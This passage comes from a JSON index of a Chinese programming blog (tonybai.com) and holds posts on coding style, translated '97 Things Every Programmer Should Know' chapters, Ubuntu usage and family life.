href=\"http://tonybai.com/2011/04/21/apply-style-check-to-c-code/\"\u003e代码风格检查\u003c/a\u003e\u003cbr\u003e\n脚本加入到工程的构建过程中，并将代码风格检查作为最终构建目标的关键依赖，强制大家编写出统一风格的代码。\u003c/p\u003e","title":"使用BuildBot搭建持续集成环境"},{"content":"市面上关于优秀编程风格和习惯养成的书籍还真不少，其中“叫好又叫座”的书诸如《代码大全》、《编程精粹:编写高质量C语言代码》、《编程匠艺》、《重构》以及《Clean Code》等。不过前些天我在网上下载了一本名为《The Elements of Programming Style》的电子书，看过此书后，我才知道开创编写优秀风格代码之路的鼻祖是谁（不知道是否还有比这本书更加古老的且系统地讲述优良编程元素的书籍了？）。\n这本书的两位作者来头都大得很。Brian W. Kernighan，K\u0026amp;R C中的那个“K”，C语言的鼻祖之一。 P. J. Plauger，《C标准库》一书作者，同样是大师级人物，说不准你现在使用的C标准库还是Plauger当初操刀实现的呢^_^。这本书的出版年份为1978年，Wow，Older Than Me！距今有30多年了，在编程领域算是一本“古书”了。其第一版则更早，于1974年出版。这本书的中心思想是计算机程序编写不应该只满足于编译器或者某些个体的编程风格，还要满足人们对程序的“可读性”的要求。据说当时这本书的出版让全天下的程序员们恍然醒悟，从此大家便知道了优秀编程风格是什么样子的，优秀的代码是应该这么写的。\n这本书我还没有全部看完，目前也只看完了前面的十几个条目和例子。本以为书中会用C语言做例子，没想到作者居然用了Fortran和PL/I，整本书“充斥”着用陌生的Fortran和PL/I语法编写的例子。后来我也想明白了：在那个年代，Fortran才是老大，C语言初出茅庐，还仅仅停留在Bell Lab中。不过也正因为如此，这本书看起来那叫一个费劲，让人头疼。于是我到网上搜出了这本书的所有条目列表。完整地看完一遍这些条目后，我甚感吃惊，吃惊的是这本古书中的大多数条目对我们今天的代码编写依旧具有着非凡的指导意义，甚至可以理解为编程领域的公理（至少在目前以及可预见的时间段内都是生效的）。另外当你看完这些条目后，你会发现有些似曾相识的感觉，原因也很简单。我们看到的《代码大全》、《重构》等“近现代”书籍可能都或多或少的从这本古书中继承了一些内容，并结合现代编程思想加以扩展和升华了！\n那《The Elements of Programming Style》这本“古书”是否还值得去读呢？毕竟我们已经有了像《代码大全》这样的百科全书了。我觉得至少应该过一遍这本书的条目列表，并且针对你感兴趣的重点条目去精读。三十多年前的古训也许更能还原出条目在当时所处的历史场景，这也许是当前一些书籍所不具备的。特别是如果你觉得《代码大全》太厚重，那么不妨可以先来聆听一下这本小书中的“古训”^_^。\n","permalink":"https://tonybai.com/2011/05/10/listen-to-old-maxim-respectfully/","summary":"\u003cp\u003e市面上关于优秀编程风格和习惯养成的书籍还真不少，其中“叫好又叫座”的书诸如《\u003ca href=\"http://tonybai.com/2008/11/13/coding-review-and-cc2e-and-assertion-and-others/\"\u003e代码大全\u003c/a\u003e》、《\u003ca href=\"http://http//book.douban.com/subject/3406939/\"\u003e编程精粹:编写高质量C语言代码\u003c/a\u003e》、《\u003ca href=\"https://tonybai.com/2011/05/10/listen-to-old-maxim-respectfully/book.douban.com/subject/3210669\"\u003e编程匠艺\u003c/a\u003e》、《\u003ca href=\"http://tonybai.com/2006/03/28/c-refactoring/\"\u003e重构\u003c/a\u003e》以及《\u003ca href=\"http://book.douban.com/subject/3032825/\"\u003eClean Code\u003c/a\u003e》等。不过前些天我在网上下载了一本名为《\u003ca href=\"http://book.douban.com/subject/1470267/\"\u003eThe Elements of Programming Style\u003c/a\u003e》的电子书，看过此书后，我才知道开创编写优秀风格代码之路的鼻祖是谁（不知道是否还有比这本书更加古老的且系统地讲述优良编程元素的书籍了？）。\u003c/p\u003e","title":"聆听编程“古训”"},{"content":"本文翻译自”Comments Only What the Code Cannot Say“，来自于《程序员应该知道的97件事》一书中的某个章节。\n我们知道理论与实践之间存在差异。在实践中，这个差异远大于其在理论中所描述的那样 – 一份对注释（comments）的观察数据也证实了这一点。理论上，通常的注释代码的想法听起来是值得的：它可以为读者提供更多的细节，可以解释发生了什么事情。有什么能比自我帮助更具可帮助性的呢？然而在实践中，注释却经常变成一个破坏因素。与其他书面形式一样，编写好的注释也是有技巧的。这个技巧的主要内容是知道何时不写注释。\n如果代码书写得不合乎语法规范，那么编译器、解释器以及其他一些工具会提出异议。如果代码在某方面功能不正确，评审、静态分析、测试以及在产品环境下的日常使用会发现绝大多数Bug。然而对于注释呢？在《The Elements of Programming Style》一书中Kernighan和Plauger曾指出“如果注释是错误的，那么它带来的价值就是零（甚至是负值）”。可是就是这样的注释却经常以一种编码错误所不能的方式散布并存活于代码库中。它们会持续不断地分散你的注意力，提供误导信息，细微但却持续地影响着程序员的思维。\n那些在技术上没错，但却没有给代码带来任何价值的注释怎么样呢？这类注释简直就是噪音。重复描述代码含义的注释没有为读者提供任何额外价值 – 先用代码表达，再用自然语言复述不能让其看起来更加真实。被注释掉的代码不是可执行代码，所以无论对读者还是对代码运行时它都无法起到任何有用的效果。它自身也会很快地变得陈旧。版本相关的注释以及被注释掉的代码试图解决有关代码版本和历史的问题。但这些问题已经被版本控制工具（更加有效地）解决了。\n代码库中普遍存在的噪音类注释以及错误注释助长了程序员们忽略所有注释的行为，他们要么略过注释，要么采取积极措施将注释隐藏起来。程序员是足智多谋的，他们会绕过任何被认为可能会造成破坏的事物：将注释折叠起来；更换颜色样式，使得注释的颜色与背景色相同；编写脚本过滤掉注释。为了使代码库免遭程序员们滥用聪明才智所带来的破坏，降低因忽视真正有价值的注释所带来的风险，我们应该像看待代码那样看待注释。每条注释都应该为读者带来一些价值，否则这些注释就是无用的，应该被删除或重写。\n那么，什么才是有价值的呢？注释应该表达那些代码没有表达以及无法表达的东西。如果一段注释被用于解释一些本应该由这段代码自己表达的东西，我们就应该将这段注释看成一个改变代码结构或编码惯例直至代码可以自我表达的信号。我们重命名那些糟糕的方法和类名，而不是去修补。我们选择将长函数中的一些代码段抽取出来形成一些小函数，这些小函数的名字可以表述原代码段的意图，而不是对这些代码段进行注释。尽可能的通过代码进行表达。你通过代码所能表达的和你想要表达的所有事情之间的差额将为注释提供了一个合理的候选使用场合。对那些代码无法表达的东西进行注释，而不要仅简单地注释那些代码没有表达的东西。\nBy Kevlin Henney\n","permalink":"https://tonybai.com/2011/05/05/comments-only-what-the-code-cannot-say/","summary":"\u003cp\u003e本文翻译自”\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Comment_Only_What_the_Code_Cannot_Say\"\u003eComments Only What the Code Cannot Say\u003c/a\u003e“，来自于《\u003ca href=\"http://book.douban.com/subject/5263681/\"\u003e程序员应该知道的97件事\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e我们知道理论与实践之间存在差异。在实践中，这个差异远大于其在理论中所描述的那样 – 一份对注释（comments）的观察数据也证实了这一点。理论上，通常的注释代码的想法听起来是值得的：它可以为读者提供更多的细节，可以解释发生了什么事情。有什么能比自我帮助更具可帮助性的呢？然而在实践中，注释却经常变成一个破坏因素。与其他书面形式一样，编写好的注释也是有技巧的。这个技巧的主要内容是知道何时不写注释。\u003c/p\u003e","title":"只对代码无法表达的东西写注释"},{"content":"今天是我的宝贝儿闺女-果果的一周岁生日。老爸特在此发文以表祝贺和纪念。\n“时间飞逝”虽然是句套话，但它却真实地反映出这一年来的情况。的确是太快了！去年（2010年）的5月3日上午10点多，果果在大家的热切期盼下呱呱坠地，而如今小家伙儿都已经可以独立行走了。果果这一年来的成长还算是顺利。小家伙一直是母乳喂养（今天也正式断掉母乳了），体格很是健壮，各方面身体指数也在同龄平均水平之上。一年来基本没有什么头疼脑热的病状发生。果果食欲也很好，无论是母乳、奶粉、米饭、面条，还是鸡蛋、水果、蔬菜和其他辅食，果果从不拒食，这点也颇有爸爸的风范^_^。虽为小女孩儿，但果果在淘气方面丝毫不输于同龄的小男孩儿，这应该是继承了我的基因（她妈妈小时候据说是特别安静的）^_^。淘气也让果果付出了代价，特别是近一两个月，果果刚会站立和行走，一不小心就会出现磕磕碰碰，身上多处都负了小伤，这让我们心疼不已。\n以前总是听到长辈们唠叨：“养儿/女累”、“养儿/女有操不完的心”、“不养儿/女不知父母恩”等等。今体验后感到确是这么回事儿。自从儿/女出生的那刻起，我们至少就要投入金钱、时间和精力三种成本。金钱我就不说了，大家都懂的。对于正处于事业起步期的年轻父母来说，时间和精力成本更可观。每天带着疲惫的身体回家，本渴望能得到很好的休息，但小宝贝半夜里一声啼哭，就把你从好梦拽回到现实中-哄孩子、喂水、喂奶、把尿/换尿裤；周末，本可以会友、充电、读书、出行，但看到孩子眼神中对你的渴望，你只能进入到超级奶妈或奶爸的角色中去。很多家长，包括我都有这样的体会：周末/假期比上班还要累。另外我们俗称的“操心”，实际上是一种焦虑的表现，这种焦虑甚至会让你茶不思、饭不想、整晚失眠，而这一切也都来自于孩子。孩子身上所表现出的任何一点异常都会导致父母处理焦虑的状态，比如厌食、生病、不正常睡觉、身体发育水平与其他孩子相比有异样等等。\n“累并快乐着”，这是大多数家长们，当然也包括我所达成的共识。我们付出的同时，我们也收获了也许是人间中最至纯的快乐-天伦之乐。宝宝们每一声清脆的笑声都能在我们心底泛起幸福的涟漪；每一次展现给我们的笑脸都仿佛初春那缕缕温暖的阳光映照在我们的心田。这些宝宝带给我们的快乐，让我们把疲惫抛到了九霄云外。这种快乐，需要你静下来细心体会。\n感受就这么多了。我的养女之路才刚刚起步，任重道远啊。\n最后，祝果果生日快乐，健康幸福！\n附：果果今天逛宜家的部分照片：\n今天我一岁了，妈妈带我逛宜家\n宜家餐厅的美食真多，可惜我还不能吃\n先记住地图以防迷路\n宜家的床好软啊\n妈妈，这个木马搬回家可以吗？\n妈妈给我买的生日礼物，我好喜欢\n","permalink":"https://tonybai.com/2011/05/03/my-daughter-is-one-year-old/","summary":"\u003cp\u003e今天是我的宝贝儿闺女-果果的一周岁生日。老爸特在此发文以表祝贺和纪念。\u003c/p\u003e\n\u003cp\u003e“时间飞逝”虽然是句套话，但它却真实地反映出这一年来的情况。的确是太快了！去年（2010年）的5月3日上午10点多，果果在大家的热切期盼下\u003ca href=\"http://tonybai.com/2010/05/11/now-i-am-a-father/\"\u003e呱呱坠地\u003c/a\u003e，而如今小家伙儿都已经可以独立行走了。\u003ca href=\"http://tonybai.com/2010/09/23/one-hundred-days-photos-of-my-daughter/\"\u003e果果\u003c/a\u003e这一年来的成长还算是顺利。小家伙一直是母乳喂养（今天也正式断掉母乳了），体格很是健壮，各方面身体指数也在同龄平均水平之上。一年来基本没有什么头疼脑热的病状发生。果果食欲也很好，无论是母乳、奶粉、米饭、面条，还是鸡蛋、水果、蔬菜和其他辅食，果果从不拒食，这点也颇有爸爸的风范^_^。虽为小女孩儿，但果果在淘气方面丝毫不输于同龄的小男孩儿，这应该是继承了我的基因（她妈妈小时候据说是特别安静的）^_^。淘气也让果果付出了代价，特别是近一两个月，果果刚会站立和行走，一不小心就会出现磕磕碰碰，身上多处都负了小伤，这让我们心疼不已。\u003c/p\u003e","title":"果果一周岁了"},{"content":"今天是Ubuntu 11.04版本(Natty Narwhal)发布的正日子！想必全世界的Ubuntu Fans们都会或多或少的兴奋上一阵儿。我接触Ubuntu这个Linux发行版较早，甚至可以追溯到Ubuntu 5.10。不过真正将Ubuntu作为我日常工作学习的第一操作系统还是在去年Ubuntu 10.04LTS版本发布之后。从那时起到现在整整有近一年时间了。这里我也来说说这一年来使用Ubuntu的感受。\n初次使用Ubuntu的朋友可能都会被问到以下问题：\n·你的Windows系统很奇怪啊，咋和我的不太一样呢？\n·你用的是苹果操作系统吗？\n·你为何不用Windows操作系统了呢？\n·Ubuntu比Windows好在哪里呢？\n实话实说，我接触Linux的初衷就是好奇。用惯了Windows，总想换个新鲜的环境。也许与我有类似想法的人会有不少。至于Windows和Ubuntu哪个更好？我倒是觉得没啥可比较的。两者诞生的背景不同、创造者集体认同的文化不同、设计思想的聚焦也不相同。非要将两者在个人电脑桌面领域分出一个高下未免有些狭隘。从全局来看，两者既是竞争对手，同时也可以相互补充。关键在于你的需求以及你对两个系统背后文化的认同。如果你只是使用过其中一种系统的话，那你就更没有发言权了。你没有深入地使用过Linux，你又怎么能体会到其背后的文化内涵呢！至于媒体上所宣传的Linux免费、病毒少以及比Windows安全等等特性，我觉得对于普通中国人来说，这些都不能构成实际的吸引力，却颇有些噱头的意思在里面，至少免费这一项在大陆是不成立的，具体原因你是懂的。\nLinux是大势所趋，这里倒不是针对桌面领域，而是其全局竞争力，是指对整个IT产业的影响。前不久Linux也刚刚过完自己20周岁的生日。媒体一致认为Linux已经战胜了Windows，观点依旧片面，但不可否认的是Linux已经渗透到了整个行业的各个角落，这个是桌面老大Windows所无法比拟的。想像一下：全世界的有多少数据中心的节点上跑的是某个Linux发行版或自定制版的Linux版本，而又有多少个节点跑的是Microsoft的Windows Server呢？恐怕只有Microsoft自己的数据中心有吧。在嵌入式领域Linux更是独领风骚。\n有些跑题了，我们言归正传，说Ubuntu的使用感受。如果说目前的Ubuntu在桌面领域已经超越了Windows，那肯定是谎话。实际上的情况是与桌面老大Windows相比，号称最流行的Linux桌面发行版的Ubuntu依旧有着很大差距。当然这些差距是可以理解的。毕竟Windows是在一个庞大的商业帝国下面由成千上万的精英花了十多年专职打造出来的，而Ubuntu则只是一个Linux发行版而已。按Eric S.Raymond的观点：前者是大教堂中的产物，后者则是集市中人们智慧的结晶。\n在使用Ubuntu 10.04的过程中积累以下使用感受：\n1、Ubuntu系统兼容性差\n可以明确地告诉你：不是所有机器都可以成功安装Ubuntu的，有些时候你费了九牛二虎之力，也只能无奈的退回到以前的系统。虽然我自己没有遇到这种情况（我的机器乃是ThinkPad X60），但是耳闻目睹的失败案例倒有不少。\n2、Ubuntu并没有想像中的那么稳定和可靠。\n我们在使用Windows时偶尔会遇到蓝屏，这样的场景我在Ubuntu下也时有发生。有些时候运行一些桌面应用也会导致桌面系统崩溃。\n3、缺少厂商积极的驱动支持\n很多Linux自带的驱动程序都不是相应设备厂商提供的，这样会导致设备性能无法发挥到最优。另外新设备的驱动无法及时提供会导致这些设备在Ubuntu下无法使用。\n4、升级风险较大\n这个我还是有亲身体会的。在10.04之后，我曾经多次升级过内核，从2.6.32-24到2.6.32-27再到2.6.32-30，每次升级后系统总会有些奇怪的问题发生：比如无线路由升级后频繁断连、窗口切换变得迟钝等等。虽然之前发布过10.10版本，但是我尚未敢尝试直接升级，因为社区里的很多人反映升级后系统无法启动或启动后出现各种故障或某些设备无法使用等情况。\n5、残留的Bug不少\n虽说Windows发行版也有诸多Bug，不过Ubuntu有一些严重的问题，比如休眠根本无法使用、启动应用程序的记录注销前会话功能无法取消等等。\n6、优质桌面应用相对匮乏\n现有的桌面应用的表现（性能、美观和易用性）尚无法与Windows上的一些知名应用相提并论。比如Ubuntu下的OpenOffice很是让人失望，让我不得不开始怀念起Ms Office。\n到这里你也许会问：怎么都是糟糕的体验呢？那Ubuntu就没啥优点了吗？不是这样的。Ubuntu专有特性你可以参考Ubuntu官方的宣传文档。而我想说的是Ubuntu或Linux最大的优点就是其开放性以及其尚不完善的状态。开放性让你可以深入挖掘到Linux背后的任何一个细节并作出你的修改；另外正是由于其不完善，作为程序员的我们才有了用武之地，不是吗！\n通过这一年来的使用，我发现Ubuntu真正进入大众生活还为时尚早，即使以后做到了，可能最终也无法达到Windows或Apple的Mac OS在个人电脑桌面领域所达到的高度。不过对于一名程序员来说，Ubuntu或任何一个其他Linux发行版却是极其适宜的，你可以按照你的想法掌控一切，不过前提是你要花费一些时间和精力去挖掘Ubuntu、挖掘Linux。\nUbuntu不是这个世界上唯一的Linux发行版。使用Ubuntu是自发的，放弃Ubuntu也是自发的。如果你不认同Ubuntu演进计划，你大可尝试一下其他发行版，比如Fedora、Arch、OpenSuse等。使用Ubuntu的人都是有一些Geek精神的，所以转到其他Linux发行版也不是什么新鲜事。\n","permalink":"https://tonybai.com/2011/04/29/feel-experience-after-using-ubuntu-for-one-year/","summary":"\u003cp\u003e今天是\u003ca href=\"http://releases.ubuntu.com/11.04/\"\u003eUbuntu 11.04\u003c/a\u003e版本(Natty Narwhal)发布的正日子！想必全世界的Ubuntu Fans们都会或多或少的兴奋上一阵儿。我接触Ubuntu这个Linux发行版较早，甚至可以追溯到\u003ca href=\"http://tonybai.com/2006/01/23/got-the-ubuntu-disc/\"\u003eUbuntu 5.10\u003c/a\u003e。不过真正将Ubuntu作为我日常工作学习的第一操作系统还是在去年\u003ca href=\"http://tonybai.com/2010/08/25/move-to-ubuntu-thoroughly/\"\u003eUbuntu 10.04\u003c/a\u003eLTS版本发布之后。从那时起到现在整整有近一年时间了。这里我也来说说这一年来使用Ubuntu的感受。\u003c/p\u003e","title":"Ubuntu一年使用感受"},{"content":"今年春节时我就从广播中得知某商家会在沈阳中街复原搭建一个迈克尔·贝版《变形金刚》中的擎天柱大哥。这几个月来一直没有机会到中街去，本以为复原版的擎天柱早已经被拆除了。但今天一到中街就看到了远处巍然屹立的擎天柱大哥，见此场景心中很是兴奋。遗憾的是今天没带那个日本破数码相机，无奈只能用手中的Moto手机为大哥留影了。闲话少说，上图，让大家也能欣赏到擎天柱大哥的伟岸英姿：\n擎天柱大哥正面标准照\n擎天柱大哥领巍然挺立\n擎天柱大哥上半身特写\n擎天柱大哥的背面特写\n","permalink":"https://tonybai.com/2011/04/24/i-finally-see-optimus-prime/","summary":"\u003cp\u003e今年春节时我就从广播中得知某商家会在沈阳中街复原搭建一个\u003ca href=\"http://movie.douban.com/celebrity/1027776/\"\u003e迈克尔·贝\u003c/a\u003e版《\u003ca href=\"http://movie.douban.com/subject/1794171/\"\u003e变形金刚\u003c/a\u003e》中的擎天柱大哥。这几个月来一直没有机会到中街去，本以为复原版的擎天柱早已经被拆除了。但今天一到中街就看到了远处巍然屹立的擎天柱大哥，见此场景心中很是兴奋。遗憾的是今天没带那个日本破数码相机，无奈只能用手中的\u003ca href=\"http://tonybai.com/2010/03/16/buy-moto-mt710/\"\u003eMoto手机\u003c/a\u003e为大哥留影了。闲话少说，上图，让大家也能欣赏到擎天柱大哥的伟岸英姿：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/40445_1303650536m.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e擎天柱大哥正面标准照\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/40445_1303650701f.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e擎天柱大哥领巍然挺立\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/40445_1303650903u.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e擎天柱大哥上半身特写\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://filer.blogbus.com/40445/40445_1303651033r.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e擎天柱大哥的背面特写\u003c/p\u003e","title":"终于见到擎天柱大哥了！"},{"content":"本文翻译自\u0026quot;The Boy Scout Rule\u0026quot;，来自于《程序员应该知道的97件事》一书中的某个章节。\n童子军有一条规则：“永远保持离开时的露营地比你发现它时更整洁”。如果你在地面上发现了脏东西，那么无论是否是你留下的，你都要将它清理干净。你有意地为下一组露营者改善环境。（实际上，由童子军之父罗伯特·斯蒂芬森·史密斯·贝登堡编写的原版规则是这样的：“尝试让这个世界在你离开时比你发现它时变得更美好。”）\n如果我们在代码中遵循的这样一条类似的规则：“总是保持提交时的代码比Check Out时更整洁”？无论谁是代码的原作者，如果我们总是努力去改进模块，无论模块有多么小？结果会是怎样的呢？\n我想如果我们大家都遵循这一简单的规则，我们将看到那些残酷地软件系统恶化腐朽的终结。相反，我们的系统将逐渐变得越来越好。我们也将看到整个团队将系统作为一个整体来完善，而不是每个人仅仅关心属于他们自己的那小部分。\n我不认为这条规则的要求有过分之处。在你提交（check in）代码之前，你不必使每个模块都变得很完美。你只需使这些模块比check out它们时有一些改善即可。当然，这就意味着你添加到模块中的新代码必须是整洁的。同时它还意味着在你将代码提交回代码库之前，你至少整理了另外一处代码。你可能只是简单的改善了变量的命名，或者将一个冗长的函数拆分成两个短小简洁的函数。你可能打破了一个循环依赖，或者是增加一个接口以解除策略和细节之间的耦合。\n坦率地说，这对我来说就像是一个再常见不过行为了-就像是便后洗手，或者将垃圾放入垃圾桶而不是随意丢到地板上一样。事实上，在代码中留下混乱应该与乱丢垃圾一样是不被接受的。它应该是一些不合乎规矩的行为。\n不过，不仅仅是这些。照顾好自己的代码是一回事。照顾好团队的代码则是另外一回事。团队成员间相互帮助并且相互整理代码。他们遵循童子军规则，因为这不仅仅对自己有益，它对团队中的每个人都有益。\nBy Uncle Bob\n","permalink":"https://tonybai.com/2011/04/23/the-boy-scout-rule/","summary":"\u003cp\u003e本文翻译自\u0026quot;\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/The_Boy_Scout_Rule\"\u003eThe Boy Scout Rule\u003c/a\u003e\u0026quot;，来自于《\u003ca href=\"http://book.douban.com/subject/5263681/\"\u003e程序员应该知道的97件事\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e童子军有一条规则：“永远保持离开时的露营地比你发现它时更整洁”。如果你在地面上发现了脏东西，那么无论是否是你留下的，你都要将它清理干净。你有意地为下一组露营者改善环境。（实际上，由童子军之父罗伯特·斯蒂芬森·史密斯·贝登堡编写的原版规则是这样的：“尝试让这个世界在你离开时比你发现它时变得更美好。”）\u003c/p\u003e","title":"童子军规则"},{"content":"代码风格（style）一直是一个见仁见智的问题，但是对于一个团队而言，如果能在代码风格上达成一致，显然无论对团队还是对个人来讲都是大有裨益的。\n在这方面我们也曾做过努力，包括在团队中引入astyle工具，并在astyle的代码美化风格配置上，团队成员也集体达成过一致。但是在开发过程中还是出现了一些问题。最主要的就是对astyle工具使用不足：一些同事总是记得不停地写代码，但却忘记了按约定好的风格要求写代码或按照要求通过工具执行代码美化。\n为了尽可能地保证提交到代码库中的代码都是风格良好的（也可以在代码评审时间接减少评审者提出有关代码风格问题而耗费的工作量），我们将代码风格检查加入到代码构建的关键流程中去，这样可以起到一个提醒大家注意代码风格的作用。与Java等语言相比，C语言的代码风格检查工具相对较少且工具的功能也很有限。我Google了半天才找到一款简单且实用的工具-c_style_check.py。这个检查脚本使用正则式匹配的方法按照你制定的规则对源码文件进行校验，如果发现不符合规则的代码行，则给出提示。另外考虑到我们内部的要求，我对这个脚本也作了一些改造，增加了一些校验规则，并把最新的脚本放到了这里。\n目前的脚本较为简单，无法检查你的所有风格要求，不过它还是能检查出一些我们想要的不符合风格的地方。比如：不允许使用TAB字符、每行最大长度限制、在常见操作符(比如+,-,*,/,\u0026gt;,\u0026lt;等)两侧要添加空格、在){之间要求添加一个空格以及要求采用C传统注释方式等等。\n另外，Google提供了一个强大的按照Google C++风格进行检查的代码检查器 – cpplint.py。不过尚没有C代码风格检查工具推出，不过cpplint.py这种级别的检查器是我们努力的方向。后续也许会逐步改进c_style_check.py。\n","permalink":"https://tonybai.com/2011/04/21/apply-style-check-to-c-code/","summary":"\u003cp\u003e代码风格（style）一直是一个见仁见智的问题，但是对于一个团队而言，如果能在代码风格上达成一致，显然无论对团队还是对个人来讲都是大有裨益的。\u003c/p\u003e","title":"应用C语言代码风格检查"},{"content":"本文翻译自”Use the Right Algorithm and Data Structure“，来自于《程序员应该知道的97件事》一书中的某个章节。\n一家拥有多个分行的大银行抱怨说他们为出纳员新买的计算机运行得太慢了。这件事儿发生在电子银行以及ATM机使用普及程度远不及现在的那个年代。人们更多的是亲自到银行办理业务，这些运行超慢的计算机使得大家排起了长队。因此，这家银行威胁计算机供货商要结束他们之间的供货合同。\n计算机供货商派出了一个性能分析和调优专家查找计算机运行缓慢的原因。这个专家很快就发现了一个运行在终端的特定程序几乎消耗掉了CPU的所有处理能力。他使用了一个程序分析工具将程序展开，并找到了那个导致计算机运行缓慢的罪魁祸首。其源码如下：\nfor (i = 0; i \u0026lt; strlen(s); ++i) {\nif (… s[i] …) …\n}\n这里的字符串s的平均长度有上千个字符。这段代码（由这个银行编写的）很快被修正了，并且这家银行的出纳员自从那以后工作得很开心…\n难道程序员不应该做得更好一些并且不去使用那些无用的二次阶复杂度算法吗？\n每次strlen调用都会遍历字符串中上千个字符里的每个字符以找到字符串的结尾null字符。不过，这个字符串永远不会改变。如果事先得到该字符串的长度，这个程序员本可以节省数千次对strlen的调用（以及数百万次循环的执行）：\nn = strlen(s);\nfor (i = 0; i \u0026lt; n; ++i) {\nif (… s[i] …) …\n}\n每个人都知道这句格言：“首先使其能工作，然后再考虑让其更高效地工作”，这可以避免微小优化导致的缺陷。不过上面的例子几乎可以让你相信这个程序员遵循的是权谋家的节拍“首先使其缓慢地工作”。\n这种草率的事情你可能不止遇到过一次。这不仅仅是一件“不要重新发明轮子”的事情。有些时候新手程序员在没有仔细考虑的前提下就开始写代码，然后突然意外地“发明”了冒泡排序。他们甚至可能为其自夸一番。\n选择正确算法的另外一方面是数据结构的选择。这会导致很大的差异：用一个链表表示你要搜索的一个具有百万项元素的集合-与用一个哈希数据结构或一个二叉树相比-这会对用户对你的编程能力的评价产生较大影响。\n程序员不应该重新发明轮子，并且应该尽可能地使用现有的库。但是为了能避免类似上面银行发生的问题，他们应该进行一些有关算法以及算法规模评估的培训。难道这只是现代文本编辑器中的华而不实才使得他们运行起来就像是上世纪80年代的老程序一样缓慢吗，比如WordStar？许多人说编程中的重用是最为重要的。不过，最重要的是，程序员应该知道何时重用、重用什么以及如何重用。为了做到这些，他们必须拥有问题域以及算法和数据结构的知识。\n一个优秀的程序员也应该知道何时使用一个性能较差的算法。比如，如果问题域规定永远不会多于五个元素（就像是在掷骰子游戏中骰子的个数），你知道始终最多对5个元素进行排序。在这种情况下，冒泡排序实际上也许才是进行排序的最高效的方式。每个人都有得意的那天。\n所以，阅读一些好书 – 并且确保你理解了书中所讲的内容。如果你真地读过Donald Knuth的“计算机编程艺术”，你也许甚至很幸运：找到一处作者犯下的错误都可以得到Donald Knuth的面额为2.56美元的支票。\nBy JC van Winkel\n","permalink":"https://tonybai.com/2011/04/19/use-the-right-algorithm-and-data-structure/","summary":"\u003cp\u003e本文翻译自”\u003ca href=\"http://programmer.97things.oreilly.com/wiki/index.php/Use_the_Right_Algorithm_and_Data_Structure\"\u003eUse the Right Algorithm and Data Structure\u003c/a\u003e“，来自于《\u003ca href=\"http://book.douban.com/subject/5263681/\"\u003e程序员应该知道的97件事\u003c/a\u003e》一书中的某个章节。\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e一家拥有多个分行的大银行抱怨说他们为出纳员新买的计算机运行得太慢了。这件事儿发生在电子银行以及ATM机使用普及程度远不及现在的那个年代。人们更多的是亲自到银行办理业务，这些运行超慢的计算机使得大家排起了长队。因此，这家银行威胁计算机供货商要结束他们之间的供货合同。\u003c/em\u003e\u003c/p\u003e","title":"使用正确的算法和数据结构"},{"content":"忽如一夜春风来，千树万树\u0026quot;桃花\u0026quot;开。北方的春天照比南方来得要晚些，但是来得却甚是迅速。前天这里真的是仿佛一夜间迎来了春天，园区里和马路两旁的桃花都含苞待放，部分桃树上已经是挂满了白色或粉色的桃花。室外的温度也已经明显回升，一件T恤+一件外套足以让你远离寒冷。果果已经在家里整整憋了一个冬天了，现在是带果果到户外活动的时候了。\n不知不觉间果果已经是11个月多的“大孩”了-个头体重都比同龄小女孩儿要多一些^_^。果果虽是小女孩儿，但也十分淘气。特别是处于11个月左右的孩子，特别难待。白天精力甚是充沛，把大人忙得真是团团转。也正是因为太淘气，稍不留神小家伙儿就会磕磕碰碰，这不近期又多了两处皮外伤，当爸爸的看着伤口确是有些心疼啊。\n春天到了，园区里的小孩子也都趁中午时分出来“晒太阳”-感受春天的气息。果果这两天也一直在准备，但直到今天才真正走出家门。园区里有一处下沉式儿童娱乐区，园区内大大小小的孩子和家长都集中在这里。果果在家里闹得很，但出门后就变得安静了许多。带果果来到儿童娱乐区，和其他小朋友一起\n“坐飞机”、骑木马、溜滑梯。果果站的很稳，但还不能独自行走，还需要我们的帮助。玩了一会儿后，果果显然适应了这个环境，脸上笑容也渐多起来，甚至是咯咯的笑声。在这种情形下，我们做家长的也能感受到一种发自内心的快乐，也许就是那种所谓的天伦之乐吧。\n果果今年的第一次户外活动进行了一个多小时，虽意犹未尽，但稳妥起见，我们还是把果果抱回到了家里。下面贴几张果果的近照：\n果果试户外装\n果果“坐飞机”\n果果“坐飞机”时很是“淡定”\n","permalink":"https://tonybai.com/2011/04/10/bring-my-daughter-outdoor-in-sping/","summary":"\u003cp\u003e忽如一夜春风来，千树万树\u0026quot;桃花\u0026quot;开。北方的春天照比南方来得要晚些，但是来得却甚是迅速。前天这里真的是仿佛一夜间迎来了春天，园区里和马路两旁的桃花都含苞待放，部分桃树上已经是挂满了白色或粉色的桃花。室外的温度也已经明显回升，一件T恤+一件外套足以让你远离寒冷。果果已经在家里整整憋了一个冬天了，现在是带果果到户外活动的时候了。\u003c/p\u003e","title":"带果果到户外感受春天"},{"content":"本文翻译自\u0026quot;Fulfill Your Ambitions with Open 